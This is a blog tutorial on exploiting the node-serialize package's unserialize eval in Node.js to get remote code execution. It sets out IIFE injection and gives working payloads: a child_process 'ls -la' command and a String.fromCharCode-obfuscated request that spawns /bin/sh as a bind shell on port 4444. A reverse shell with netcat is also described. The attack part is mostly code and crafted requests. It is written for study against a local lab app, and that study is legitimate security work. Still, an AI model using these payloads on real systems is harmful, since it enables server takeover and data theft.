The eval() function is a common function of nodejs that is easy to exploit if data passed to it not filtered correctly. On review source code of some projects in nodejs and researching nodejs application security. I found this function used on some project that it is vulnerable to exploit.

For source code for this tutorial please get from link. You need to install Nodejs and Express first.

To start code run: node index.js

This first part is untilize feature unserialize of a nodejs module. The exploit method happened with PHP, Java… as well. I will show the exploit on next tutorials for some of these languages.

We will use a nodejs module is node-serialize on this example. Ok Let’s make an analysis in depth on it. This module contains an eval() function that may be exploited if we do not check data passed to it correctly.

The functioneval() evaluates JavaScript code represented as a string as documented.

Look at line 74 of module source code we have.

if(obj[key].indexOf(FUNCFLAG) ===0) {
     obj[key] =eval(‘(‘+obj[key].substring(FUNCFLAG.length) +’)’);
}
The code contain this line loop through object’s properties, if it is a function then eval is called. So let’s  try to inject some javascript code on it.
var obj = {
name:'hd7exploit',
say:function() {
return'Hi '+this.name
}
};
var objS = serialize.serialize(obj)
console.log(objS);
typeof objS==='string'
var unserialize_obj=serialize.unserialize(objS)
console.log(unserialize_obj)
console.log(unserialize_obj.say())
 We have a string like this after serialize:
{“name”:”hd7exploit”,”say”:”_$$ND_FUNC$$_function () {\n      return ‘Hi ‘ + this.name\n    }”} 

On unserialize, it loop through properties of this object created from this string. Because say is a function so we have : (function () {return ‘Hi ‘ + this.name})  passed to eval -> eval( (function () {return ‘Hi ‘ + this.name})) 

Let try this code with eval((function () { console.log (‘Hi )}) on a web browser.

“Hi” is not shown on console log of course. Because the function is not called anywhere.

We need to execute code when the object is processed by function unserialize. Because we did know how the object of the application is and how it processed later. So we need to pass code to eval and it must be executed immediately to show Hi.

And Immediately-Invoked Function Expression (IIFE) come to resolve this.

An IIFE is an anonymous function that is created and then immediately invoked. It’s not called from anywhere else (hence why it’s anonymous), but runs just after being created.

Let try with this method  eval((function () {console.log (‘Hi )})()).
Run again and “Hi” is shown.

We want to get a shell so let’s try to call exec to run some commands on a target system.

var obj = {
run :function(){
require('child_process').exec('ls -la', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var objS=serialize.serialize(obj)
var unserialize_obj=serialize.unserialize(objS)

Now we have a string

{“run”:”_$$ND_FUNC$$_function (){\n      require(‘child_process’).exec(‘ls -la’, function(error, stdout, stderr) { console.log(stdout) });\n    }”}

And (function (){require(‘child_process’).exec(‘ls -la’, function(error, stdout, stderr) { console.log(stdout) });}) passed to eval()

Then let’s try with () on the end.

{“run”:”_$$ND_FUNC$$_function (){require(\’child_process\’).exec(\’ls -la\’, function(error, stdout, stderr) { console.log(stdout) });}()“}

Great, It worked, We can inject code with our controlled payload.

Next to encode this payload. For easy and quick to create payload. I created a small script to generate node shell and some commands to test. get the source code at node_shell.py.

Look at some options the script provided:

  1. Let create a command “ls -la”

Then pass this data with request
http://localhost:3000/exploit/unserialize/{"run": "_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,108,115,32,45,108,97,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()"}

Check it.

Oh, It worked.

 2. Let’s try with reverse shell payload

Run Netcat listen on port 4444 on our machine, then send a crafted request to vuln server.

Check netcat console. I worked as well.

3. Let’s try with bind_shell payload

Then pass it with request

 http://localhost:3000/exploit/serialize/%7B%22run%22:%20%22_$$ND_FUNC$$_function%20()%7Beval(String.fromCharCode(10,32,32,32,32,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,32,32,32,32,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,32,32,32,32,80,79,82,84,61,34,52,52,52,52,34,59,10,32,32,32,32,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,32,32,32,32,118,97,114,32,115,101,114,118,101,114,32,61,32,110,101,116,46,99,114,101,97,116,101,83,101,114,118,101,114,40,102,117,110,99,116,105,111,110,32,40,99,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,32,91,39,45,105,39,93,41,59,10,32,32,32,32,32,32,32,32,99,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,115,101,114,118,101,114,46,108,105,115,116,101,110,40,80,79,82,84,41,59,10,32,32,32,32))%7D()%22%7D 

Check listen ports on the vuls server. shell bind port 4444.

Let’s connect to it. It worked as well.

 

Reference

1. https://github.com/luin/serialize

2. https://www.hacksparrow.com/difference-between-spawn-and-exec-of-node-js-child_process.html

3. http://benalman.com/news/2010/11/immediately-invoked-function-expression/

4. https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

 

Advertisements